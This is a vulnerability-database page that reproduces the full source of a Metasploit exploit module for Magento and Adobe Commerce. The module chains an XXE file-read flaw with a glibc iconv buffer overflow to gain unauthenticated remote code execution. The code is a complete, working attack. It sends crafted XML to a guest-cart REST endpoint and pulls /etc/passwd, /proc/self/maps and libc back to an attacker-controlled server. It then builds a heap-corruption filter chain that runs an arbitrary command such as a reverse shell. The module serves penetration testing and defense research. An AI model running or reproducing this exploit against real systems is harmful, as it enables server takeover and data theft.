Lucene search
K

Magento / Adobe Commerce Remote Code Execution

🗓️ 18 Oct 2024 00:00:00Reported by Charles FOL, jheysel-r7, Heyder, Sergey Temnikov, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 486 Views

Magento/Adobe Commerce Remote Code Execution. Exploits CVE-2024-34102 and CVE-2024-2961 for RCE on vulnerable versions. XML External Entity and glibc Buffer Overflow allow unauthenticated RCE

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Retry  
prepend Msf::Exploit::Remote::AutoCheck  
require 'elftools'  
  
class ProcSelfMapsError < StandardError; end  
  
PAD = 20  
HEAP_SIZE = 2 * 1024 * 1024  
BUG = '劄'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)',  
'Description' => %q{  
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)  
allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and  
earlier if the PHP and glibc versions are also vulnerable:  
- 2.4.7 and earlier  
- 2.4.6-p5 and earlier  
- 2.4.5-p7 and earlier  
- 2.4.4-p8 and earlier  
  
Vulnerable PHP versions:  
- From PHP 7.0.0 (2015) to 8.3.7 (2024)  
  
Vulnerable iconv() function in the GNU C Library:  
- 2.39 and earlier  
  
The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:  
CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target  
system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.  
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use  
of later in the chain.  
  
With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961  
can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a  
payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.  
},  
'Author' => [  
'Sergey Temnikov', # CVE-2024-34102 Discovery  
'Charles Fol', # CVE-2024-2961 Discovery + RCE PoC  
'Heyder', # module for CVE-2024-34102  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'],  
[ 'URL', 'https://sansec.io/research/cosmicsting'],  
[ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'],  
[ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on  
[ 'CVE', '2024-2961'],  
[ 'CVE', '2024-34102']  
],  
'License' => MSF_LICENSE,  
'Platform' => %w[linux unix],  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => %w[unix linux],  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
# Tested with cmd/linux/http/x64/meterpreter_reverse_tcp  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),  
OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]),  
]  
)  
end  
  
def check_magento  
etc_password = download_file('/etc/passwd')  
vprint_status('Attempting to download /etc/passwd')  
if etc_password.nil?  
CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')  
else  
CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')  
end  
end  
  
def check_php_rce_requirements  
text = Rex::Text.rand_text_alpha(50)  
base64 = Rex::Text.encode_base64(text)  
path1 = "data:text/plain;base64,#{base64}"  
  
result1 = download_file(path1)  
if result1 == text  
vprint_good('The data wrapper is working')  
else  
return CheckCode::Safe('The data:// wrapper does not work')  
end  
  
text = Rex::Text.rand_text_alpha(50)  
base64 = Rex::Text.encode_base64(text)  
path2 = "php://filter//resource=data:text/plain;base64,#{base64}"  
result2 = download_file(path2)  
  
if result2 == text  
vprint_good('The filter wrapper is working')  
else  
return CheckCode::Safe('The php://filter/ wrapper does not work')  
end  
  
text = Rex::Text.rand_text_alpha(50)  
compressed_text = compress(text)  
base64 = Base64.encode64(compressed_text).gsub("\n", '')  
  
path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}"  
result3 = download_file(path)  
if result3 == text  
vprint_good('The zlib extension is enabled')  
else  
CheckCode::Safe('The zlib extension is not enabled')  
end  
CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')  
end  
  
def check_libc_version  
begin  
@libc_binary = get_libc  
rescue ProcSelfMapsError => e  
return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")  
end  
  
return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary  
  
# A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36."  
printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip)  
  
libc_version = nil  
  
printable_strings.each do |string|  
if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/  
libc_version = Rex::Version.new(Regexp.last_match(1))  
break  
end  
end  
  
CheckCode::Unknown('Unable to determine the version of libc') unless libc_version  
  
if libc_version > Rex::Version.new('2.39')  
CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")  
end  
  
CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}")  
end  
  
def check  
setup_module  
print_status('module setup')  
magento_checkcode = check_magento  
return magento_checkcode unless magento_checkcode.code == 'vulnerable'  
  
print_good(magento_checkcode.reason)  
  
php_checkcode = check_php_rce_requirements  
return php_checkcode unless php_checkcode.code == 'appears'  
  
print_good(php_checkcode.reason)  
  
libc_version_checkcode = check_libc_version  
return libc_version_checkcode unless libc_version_checkcode.code == 'appears'  
  
print_good(libc_version_checkcode.reason)  
CheckCode::Appears  
end  
  
def download_file(file)  
@filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}"  
@target_file = file  
@file_data = nil  
  
send_path(@filter_path)  
retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do  
break if @file_data  
end  
@file_data  
end  
  
def send_path(path)  
@filter_path = Rex::Text.encode_base64(path)  
  
vprint_status('Sending XXE request')  
vprint_status("Filter path being sent: #{@filter_path}")  
  
system_entity = Rex::Text.rand_text_alpha_lower(4..8)  
  
xml = "<?xml version='1.0' ?>"  
xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"  
xml += '['  
xml += " <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"  
xml += " <!ENTITY % #{system_entity} SYSTEM \"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param}; "  
xml += ']'  
xml += "> <r>&#{@xxe_exfil};</r>"  
  
json = {  
address: {  
totalsReader: {  
collectorList: {  
totalCollector: {  
sourceData: {  
data: xml,  
options: 524290  
}  
}  
}  
}  
}  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"),  
'ctype' => 'application/json',  
'data' => JSON.generate(json)  
})  
  
res  
end  
  
def find_main_heap(regions)  
# Any anonymous RW region with a size greater than the base heap size is a candidate.  
# The heap is at the bottom of the region.  
heaps = regions.reverse.each_with_object([]) do |region, arr|  
next unless region[:permissions] == 'rw-p' &&  
region[:stop] - region[:start] >= HEAP_SIZE &&  
(region[:stop] & (HEAP_SIZE - 1)).zero? &&  
['', '[anon:zend_alloc]'].include?(region[:path])  
  
arr << (region[:stop] - HEAP_SIZE + 0x40)  
end  
  
if heaps.empty?  
raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps"  
end  
  
first = heaps[0]  
  
if heaps.size > 1  
heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ')  
vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)")  
else  
vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap")  
end  
  
vprint_good('Successfully extracted the location in memory of the PHP heap')  
first  
end  
  
def get_libc_region(regions, *names)  
libc_region = regions.find do |region|  
names.any? { |name| region[:path].include?(name) }  
end  
  
unless libc_region  
raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps'  
end  
  
vprint_good("Successfully located the libc region in memory: #{libc_region}")  
libc_region  
end  
  
def get_libc  
@regions ||= get_regions  
@info['heaps'] = find_main_heap(@regions)  
@libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so')  
download_file(@libc_region[:path])  
end  
  
def get_symbols_and_addresses  
begin  
@libc_binary ||= get_libc  
rescue ProcSelfMapsError => e  
fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")  
end  
fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary  
  
# ELFFile expects a file, instead of writing it to disk use StringIO  
libc_binary_file = StringIO.new(@libc_binary)  
elf = ELFTools::ELFFile.new(libc_binary_file)  
symtab_section = elf.section_by_name('.dynsym')  
symbols = symtab_section.symbols  
  
@info['__libc_malloc'] = nil  
@info['__libc_system'] = nil  
@info['__libc_realloc'] = nil  
  
symbols.each do |symbol|  
if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name  
@info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]  
end  
end  
  
fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc']  
vprint_status("__libc_malloc: #{@info['__libc_malloc']}")  
vprint_status("__libc_system: #{@info['__libc_system']}")  
vprint_status("__libc_realloc: #{@info['__libc_realloc']}")  
end  
  
def get_regions  
# Obtains the memory regions of the PHP process by querying /proc/self/maps.  
maps = download_file('/proc/self/maps')  
raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank?  
  
maps = maps.force_encoding('UTF-8')  
pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.+)$/  
regions = []  
  
# Example lines from: /proc/self/maps  
# 712eebe00000-712eec000000 rw-p 00000000 00:00 0 [anon:zend_alloc]  
# 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348 /opt/bitnami/apache/modules/mod_mime.so  
maps.each_line do |region|  
if (match = pattern.match(region))  
start_addr = match[1].to_i(16)  
stop_addr = match[2].to_i(16)  
permissions = match[3]  
path = match[4]  
  
if path.include?('/') || path.include?('[')  
path = path.split(' ', 4).last  
else  
path = ''  
end  
  
current = {  
start: start_addr,  
stop: stop_addr,  
permissions: permissions,  
path: path  
}  
  
regions << current  
else  
raise ProcSelfMapsError, '/proc/self/maps is unparsable'  
end  
end  
vprint_good('Successfully downloaded /proc/self/maps and parsed regions')  
regions  
end  
  
def compress(data)  
# Compress the data and remove the 2-byte header and 4-byte checksum  
compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)  
compressed_data[2..-5]  
end  
  
def compressed_bucket(data)  
# Returns a chunk of size 0x8000 that, when dechunked, returns the data.  
chunked_chunk(data, 0x8000)  
end  
  
def qpe(data)  
# Emulates quoted-printable-encode.  
data.bytes.map { |x| sprintf('=%02X', x) }.join  
end  
  
def ptr_bucket(*ptrs, size: nil)  
# Raise an error if size is specified and doesn't match the expected length  
if size && ptrs.length * 8 != size  
fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method')  
end  
  
bucket = ptrs.map { |ptr| p64(ptr) }.join  
bucket = qpe(bucket)  
bucket = chunked_chunk(bucket)  
bucket = chunked_chunk(bucket)  
bucket = chunked_chunk(bucket)  
bucket = compressed_bucket(bucket)  
  
bucket  
end  
  
def p64(value)  
[value].pack('Q') # Pack as 64-bit little-endian  
end  
  
def chunked_chunk(data, size = nil)  
if size.nil?  
size = data.bytesize + 8  
end  
keep = data.bytesize + 2 # for "\n\n"  
hex_size = data.bytesize.to_s(16)  
padded_hex_size = hex_size.rjust(size - keep, '0')  
"#{padded_hex_size}\n#{data}\n".b  
end  
  
def build_exploit_path  
addr_free_slot = @info['heaps'] + 0x20  
addr_custom_heap = @info['heaps'] + 0x0168  
addr_fake_bin = addr_free_slot - 0x10  
  
cs = 0x100  
  
# Pad needs to stay at size 0x100 at every step  
pad_size = cs - 0x18  
pad = "\x00" * pad_size  
3.times { pad = chunked_chunk(pad, pad.length + 6) }  
pad = compressed_bucket(pad)  
  
step1_size = 1  
step1 = "\x00" * step1_size  
step1 = chunked_chunk(step1)  
step1 = chunked_chunk(step1)  
step1 = chunked_chunk(step1, cs)  
step1 = compressed_bucket(step1)  
  
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to  
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"  
  
step2_size = 0x48  
step2 = "\x00" * (step2_size + 8)  
step2 = chunked_chunk(step2, cs)  
step2 = chunked_chunk(step2)  
step2 = compressed_bucket(step2)  
  
step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin)  
step2_write_ptr = chunked_chunk(step2_write_ptr, cs)  
step2_write_ptr = chunked_chunk(step2_write_ptr)  
step2_write_ptr = compressed_bucket(step2_write_ptr)  
  
step3_size = cs  
  
step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes  
step3_overflow = chunked_chunk(step3_overflow)  
step3_overflow = chunked_chunk(step3_overflow)  
step3_overflow = chunked_chunk(step3_overflow)  
step3_overflow = compressed_bucket(step3_overflow)  
  
step4_size = cs  
step4 = '=00' + "\x00" * (step4_size - 1)  
3.times { step4 = chunked_chunk(step4) }  
step4 = compressed_bucket(step4)  
  
step4_pwn = ptr_bucket(  
0x200000,  
0,  
# free_slot  
0,  
0,  
addr_custom_heap, # 0x18  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
@info['heaps'], # 0x140  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
0,  
size: cs  
)  
  
step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18)  
step4_use_custom_heap_size = 0x140  
  
# Fetch payloads run the payload in the background and results in multiple sessions being returned.  
# If we prevent the payload from running in the background and kill the parent process after the payload completes  
# running successfully we ensure only one session gets returned and improves the stability allowing the exploit to  
# be run consecutively without issue.  
if payload.encoded.ends_with?(' &')  
command = "#{payload.encoded}& kill -9 $PPID"  
else  
command = "#{payload.encoded} && kill -9 $PPID"  
end  
  
command = (command + "\x00").b  
command = command.ljust(step4_use_custom_heap_size, "\x00".b)  
  
vprint_status("COMMAND: #{command}")  
  
step4_use_custom_heap = command  
step4_use_custom_heap = qpe(step4_use_custom_heap)  
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)  
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)  
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)  
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)  
  
pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2))  
  
resource = compress(compress(pages))  
resource = Base64.encode64(resource.b)  
resource = "data:text/plain;base64,#{resource.gsub("\n", '')}"  
  
filters = [  
# Create buckets  
'zlib.inflate',  
'zlib.inflate',  
# Step 0: Setup heap  
'dechunk',  
'convert.iconv.latin1.latin1',  
# Step 1: Reverse FL order  
'dechunk',  
'convert.iconv.latin1.latin1',  
# Step 2: Put fake pointer and make FL order back to normal  
'dechunk',  
'convert.iconv.latin1.latin1',  
# Step 3: Trigger overflow  
'dechunk',  
'convert.iconv.UTF-8.ISO-2022-CN-EXT',  
# Step 4: Allocate at arbitrary address and change zend_mm_heap  
'convert.quoted-printable-decode',  
'convert.iconv.latin1.latin1',  
]  
  
filters_string = filters.join('/')  
  
"php://filter/#{filters_string}/resource=#{resource}"  
end  
  
def setup_module  
@url_file = Rex::Text.rand_text_alpha_lower(4..8)  
@url_data = Rex::Text.rand_text_alpha_lower(4..8)  
@xxe_param = Rex::Text.rand_text_alpha_lower(4..8)  
@xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8)  
@info = Hash.new  
@module_setup_complete = true  
  
if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'  
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')  
end  
  
start_service({  
'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req)  
end,  
'Path' => '/'  
},  
'ssl' => false  
})  
print_status('Server started')  
end  
  
def exploit  
setup_module unless @module_setup_complete  
fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size  
print_status('Attempting to parse libc to extract necessary symbols and addresses')  
get_symbols_and_addresses  
print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps')  
path = build_exploit_path  
print_status('Sending payload...')  
send_path(path)  
end  
  
def cleanup  
# Clean and stop HTTP server  
if service  
begin  
service.remove_resource(datastore['URIPATH'])  
service.deref  
service.stop  
self.service = nil  
rescue StandardError => e  
print_error("Failed to stop http server due to #{e}")  
end  
end  
super  
end  
  
def on_request_uri(cli, req)  
super  
url_parts = req.uri.split('/')  
case url_parts[1]  
when @url_file  
path = Rex::Text.decode_base64(url_parts[2])  
data = Rex::Text.rand_text_alpha_lower(4..8)  
response = "  
<!ENTITY % #{data} SYSTEM \"#{path}\">  
<!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_data}/%#{data};'>\">"  
send_response(cli, response)  
when @url_data  
@file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, '')))  
send_response(cli, '')  
else  
print_bad('Server received an unexpected request.')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation